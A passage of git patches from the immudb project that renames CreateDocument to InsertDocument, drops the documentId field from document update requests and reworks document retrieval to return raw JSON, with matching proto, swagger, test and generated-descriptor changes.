0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, + 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, + 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, + 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, + 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, + 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, + 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, + 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 19637ad10f..b306ebc40b 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -60,13 +60,12 @@ message DocumentInsertResponse { message DocumentUpdateRequest { string collection = 1; - string documentId = 2; - google.protobuf.Struct document = 3; + google.protobuf.Struct document = 2; } message DocumentUpdateResponse { - uint64 revision = 1; - uint64 transactionId = 2; + uint64 transactionId = 1; + uint64 revision = 2; } enum QueryOperator { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 4c6be1cb4e..a5c8f20000 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -598,9 +598,6 @@ "collection": { "type": "string" }, - "documentId": { - "type": "string" - }, "document": { "type": "object" } @@ -609,11 +606,11 @@ "documentschemaDocumentUpdateResponse": { "type": "object", "properties": { - "revision": { + "transactionId": { "type": "string", "format": "uint64" }, - "transactionId": { + "revision": { "type": "string", "format": "uint64" } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 8694035941..a650e5f1e6 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package database import ( @@ -34,8 +49,8 @@ type DocumentDatabase interface { DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) // GetDocument returns the document SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) - // CreateDocument creates a new document - CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) + // InsertDocument creates a new document + InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) // UpdateDocument updates a document @@ -114,15 +129,15 @@ func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDelet return &schemav2.CollectionDeleteResponse{}, nil } -// CreateDocument creates a new document -func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { - docID, txID, err := d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) +// InsertDocument creates a new document +func (d *db) InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { + docID, txID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err } return &schemav2.DocumentInsertResponse{ - DocumentId: docID.Hex(), + DocumentId: docID.EncodeToHexString(), TransactionId: txID, }, nil } @@ -180,7 +195,7 @@ func newCollectionInformation(collectionName string, indexes []*sql.Index) *sche func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { // verify if document id is valid - docID, err := document.DocumentIDFromHex(req.DocumentId) + docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } @@ -217,26 +232,20 @@ func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditReque // UpdateDocument updates a document func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) { - // verify if document id is valid - docID, err := document.DocumentIDFromHex(req.DocumentId) - if err != nil { - return nil, fmt.Errorf("invalid document id: %v", err) - } - - txID, revision, err := d.documentEngine.UpdateDocument(ctx, req.Collection, docID, req.Document) + txID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err } return &schemav2.DocumentUpdateResponse{ TransactionId: txID, - Revision: revision, + Revision: rev, }, nil } // DocumentProof returns the proofs for a documenta func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { - docID, err := document.DocumentIDFromHex(req.DocumentId) + docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 76a71e69f4..99c6b48c9b 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package database import ( @@ -76,7 +91,7 @@ func TestDocumentDB_Collection(t *testing.T) { }, } - docRes, err := db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ + docRes, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ Collection: collectionName, Document: rawDoc, }) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index c958896466..8fcd81c0c7 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -260,8 +260,8 @@ func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSe return nil, store.ErrAlreadyClosed } -// CreateDocument creates a new document -func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { +// InsertDocument creates a new document +func (d *closedDB) InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index aa664e9bfe..2a1ac32054 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -28,7 +28,7 @@ func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.Doc if err != nil { return nil, err } - resp, err := db.CreateDocument(ctx, req) + resp, err := db.InsertDocument(ctx, req) if err != nil { return nil, err } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 8134870830..4d7776ebf0 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -181,7 +181,7 @@ func VerifyDocument(ctx context.Context, } func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, error) { - docID, err := document.DocumentIDFromHex(documentID) + docID, err := document.NewDocumentIDFromHexEncodedString(documentID) if err != nil { return nil, err } @@ -189,7 +189,7 @@ func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, erro valbuf := bytes.Buffer{} rval := sql.NewBlob(docID[:]) - encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, 16) + encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, document.MaxDocumentIDLength) if err != nil { return nil, err } From 3e9306977cf6c847db0c221962e85256331afd37 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 22:56:08 -0300 Subject: [PATCH 0422/1062] chore(embedded/document): retrieval of raw document Signed-off-by: Jeronimo Irazabal --- embedded/document/document.go | 4 +- embedded/document/engine.go | 85 ++++++-------------------- embedded/document/engine_test.go | 11 +--- embedded/sql/stmt.go | 15 +++-- pkg/database/document_database_test.go | 8 +-- 5 files changed, 29 insertions(+), 94 deletions(-) diff --git a/embedded/document/document.go b/embedded/document/document.go index f64e19300f..a391887eec 100644 --- a/embedded/document/document.go +++ b/embedded/document/document.go @@ -54,7 +54,7 @@ func NewDocument() *Document { // NewDocumentFromBytes creates a new document from the given json bytes func NewDocumentFromBytes(json []byte) (*Document, error) { if !gjson.ValidBytes(json) { - return nil, errors.New(fmt.Sprintf("invalid json: %s", string(json))) + return nil, fmt.Errorf("invalid json: %s", string(json)) } d := &Document{ result: gjson.ParseBytes(json), @@ -70,7 +70,7 @@ func NewDocumentFrom(value interface{}) (*Document, error) { var err error bits, err := json.Marshal(value) if err != nil { - return nil, errors.New(fmt.Sprintf("failed to json encode value: %#v", value)) + return nil, fmt.Errorf("failed to json encode value: %v", value) } return NewDocumentFromBytes(bits) } diff --git a/embedded/document/engine.go b/embedded/document/engine.go index b86815da18..93161f8ca8 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -19,6 +19,7 @@ import ( "bytes" "context" "encoding/binary" + "encoding/json" "errors" "fmt" @@ -71,27 +72,6 @@ var ( return nil, errType } - valueTypeToFieldValue = func(tv sql.TypedValue) (*structpb.Value, error) { - errType := fmt.Errorf("unsupported type %v", tv.Type()) - value := &structpb.Value{} - switch tv.Type() { - case sql.VarcharType: - value.Kind = &structpb.Value_StringValue{StringValue: tv.RawValue().(string)} - return value, nil - case sql.IntegerType: - value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.RawValue().(int64))} - return value, nil - case sql.BLOBType: - value.Kind = &structpb.Value_StringValue{StringValue: string(tv.RawValue().([]byte))} - return value, nil - case sql.Float64Type: - value.Kind = &structpb.Value_NumberValue{NumberValue: tv.RawValue().(float64)} - return value, nil - } - - return nil, errType - } - valueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { errType := fmt.Errorf("unsupported type %v", stype) switch stype { @@ -107,19 +87,6 @@ var ( return 0, errType } - - // transform value type based on column name - transformTypedValue = func(colName string, value sql.TypedValue) (sql.TypedValue, error) { - switch colName { - case DocumentIDField: - docID, err := NewDocumentIDFromRawBytes(value.RawValue().([]byte)) - if err != nil { - return nil, err - } - return sql.NewVarchar(docID.EncodeToHexString()), nil - } - return value, nil - } ) type Audit struct { @@ -279,15 +246,12 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc // add document id to document values = append(values, sql.NewBlob(docID[:])) case DocumentBLOBField: - document, err := NewDocumentFrom(doc) + bs, err := json.Marshal(doc) if err != nil { return nil, 0, 0, err } - res, err := document.MarshalJSON() - if err != nil { - return nil, 0, 0, err - } - values = append(values, sql.NewBlob(res)) + + values = append(values, sql.NewBlob(bs)) default: if rval, ok := doc.Fields[col.Name()]; ok { val, err := valueTypeToExp(col.Type(), rval) @@ -413,7 +377,7 @@ func (d *Engine) generateExp(ctx context.Context, collection string, expressions return nil, err } - colSelector := sql.NewColSelector(collection, exp.Field, "") + colSelector := sql.NewColSelector(collection, exp.Field) boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) } @@ -456,25 +420,21 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return nil, fmt.Errorf("invalid offset or limit") } - op := sql.NewSelectStmt( + query := sql.NewSelectStmt( + []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, collectionName, exp, sql.NewInteger(int64(limit)), sql.NewInteger(int64(offset)), ) - r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, op, nil) + r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, query, nil) if err != nil { return nil, err } defer r.Close() - colDescriptors, err := r.Columns(ctx) - if err != nil { - return nil, err - } - - results := []*structpb.Struct{} + var results []*structpb.Struct for l := 1; ; l++ { row, err := r.Read(ctx) @@ -485,27 +445,15 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return nil, err } - document := &structpb.Struct{Fields: map[string]*structpb.Value{}} - for i := range colDescriptors { - colName := colDescriptors[i].Column - switch colName { - case DocumentIDField, DocumentBLOBField: - tv := row.ValuesByPosition[i] - - transformedTV, err := transformTypedValue(colName, tv) - if err != nil { - return nil, err - } + docBytes := row.ValuesByPosition[0].RawValue().([]byte) - vtype, err := valueTypeToFieldValue(transformedTV) - if err != nil { - return nil, err - } - - document.Fields[colName] = vtype - } + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return nil, err } - results = append(results, document) + + results = append(results, doc) } return results, nil @@ -533,6 +481,7 @@ func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectio } } } + pkEncVals := valbuf.Bytes() searchKey = sql.MapKey( diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index b30b1c30e6..8d57019dc9 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -17,7 +17,6 @@ package document import ( "context" - "encoding/json" "fmt" "testing" @@ -529,10 +528,7 @@ func TestDocumentUpdate(t *testing.T) { // check if data is updated doc := docs[0] - data := map[string]interface{}{} - err = json.Unmarshal([]byte(doc.Fields[DocumentBLOBField].GetStringValue()), &data) - require.NoError(t, err) - require.Equal(t, "value2", data["data"].(map[string]interface{})["key1"]) + require.Equal(t, "value2", doc.Fields["data"].GetStructValue().Fields["key1"].GetStringValue()) } func TestFloatSupport(t *testing.T) { @@ -587,10 +583,7 @@ func TestFloatSupport(t *testing.T) { // retrieve document doc := docs[0] - data := map[string]interface{}{} - err = json.Unmarshal([]byte(doc.Fields[DocumentBLOBField].GetStringValue()), &data) - require.NoError(t, err) - require.Equal(t, 3.1, data["number"]) + require.Equal(t, 3.1, doc.Fields["number"].GetNumberValue()) } func TestDeleteCollection(t *testing.T) { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 4841ab977b..c7543688a5 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2129,13 +2129,13 @@ type DataSource interface { Alias() string } -func NewSelectStmt(table string, where ValueExp, limit ValueExp, offset ValueExp) *SelectStmt { - tableref := newTableRef(table, "") +func NewSelectStmt(selectors []Selector, table string, where ValueExp, limit ValueExp, offset ValueExp) *SelectStmt { return &SelectStmt{ - ds: tableref, - where: where, - limit: limit, - offset: offset, + selectors: selectors, + ds: newTableRef(table, ""), + where: where, + limit: limit, + offset: offset, } } @@ -2664,11 +2664,10 @@ type Selector interface { setAlias(alias string) } -func NewColSelector(table, col, as string) *ColSelector { +func NewColSelector(table, col string) *ColSelector { return &ColSelector{ table: table, col: col, - as: as, } } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 99c6b48c9b..9f70e1a908 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -17,12 +17,9 @@ package database import ( "context" - "encoding/json" "os" "testing" - "github.com/codenotary/immudb/embedded/document" - schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/verification" @@ -116,10 +113,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(docs.Results)) res := docs.Results[0] - data := map[string]interface{}{} - err = json.Unmarshal([]byte(res.Fields[document.DocumentBLOBField].GetStringValue()), &data) - require.NoError(t, err) - require.Equal(t, 123.0, data["pincode"]) + require.Equal(t, 123.0, res.Fields["pincode"].GetNumberValue()) proofRes, err := db.DocumentProof(context.Background(), &schemav2.DocumentProofRequest{ Collection: collectionName, From 349c26c81eb511220b31052416021ef1eaaf96ca Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 23:01:37 -0300 Subject: [PATCH 0423/1062] chore(pkg/database): minor code aligments Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 462 +++++++++++++++--------------- 